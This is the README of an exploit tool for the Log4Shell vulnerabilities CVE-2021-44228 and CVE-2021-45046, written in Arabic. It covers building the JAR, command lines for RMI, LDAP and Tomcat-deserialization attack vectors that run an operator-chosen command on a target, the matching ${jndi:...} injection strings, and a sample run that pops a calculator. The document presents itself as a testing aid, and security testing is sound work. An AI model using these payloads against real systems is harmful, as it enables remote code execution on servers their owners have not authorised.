Log4j-JNDIServer

سيساعدك هذا المشروع في اختبار الثغرات الأمنية Log4j CVE-2021-44228/CVE-2021-45046.

التثبيت والبناء

• قم بتحميل المشروع في Intellij Idea
• اختر JDK في "Project Settings" (CTRL + ALT + SHIFT + S)
• في "Project Settings"، أنشئ Artifact -> "Artifacts" -> "Create JAR from Modules" -> في "JAR files from libraries"، ضع علامة "extract to target JAR" -> "OK"
• قم ببناء المشروع (CTRL + F9). سيؤدي هذا إلى إنشاء ملف jar في المجلد /out/artifacts/

البناء باستخدام Maven

يتطلب Java 1.8+ و Maven 3.x+

• mvn clean package -DskipTests
• ستجد ملف .jar في المجلد /target

الاستخدامات

1. ناقل الهجوم RMI

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 1 <RMI_IP> <RMI_PORT> <HTTP_PORT> <COMMAND>

لم تعد بحاجة إلى استضافة ملف Exploit.class. سيقوم التطبيق بتشغيل خادم HTTP على المنفذ المحدد.

يجب عليك تحديد الأمر الذي تريد تشغيله في الهدف.

Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

2. ناقل الهجوم LDAP

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 2 <LDAP_IP> <LDAP_PORT> <HTTP_PORT> <COMMAND>

لم تعد بحاجة إلى استضافة ملف Exploit.class. سيقوم التطبيق بتشغيل خادم HTTP على المنفذ المحدد.

يجب عليك تحديد الأمر الذي تريد تشغيله في الهدف.

Injection: {jndi:ldap://<LDAP_IP>:<LDAP_PORT>/Exploit}

3. ناقل هجوم إزالة التسلسل (باستخدام حمولة Tomcat)

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 <RMI_IP> <RMI_PORT> <COMMAND>

Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

مثال

$ java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 127.0.0.1 1389 /usr/bin/gnome-calculator
- Starting RMI Server for Tomcat  -
- Creating RMI Server on port 1389 -
- Reference bound! -
- RMI server started at 127.0.0.1:1389 -
- Log4J Injection Path: ${jndi:rmi://127.0.0.1:1389/Foo} -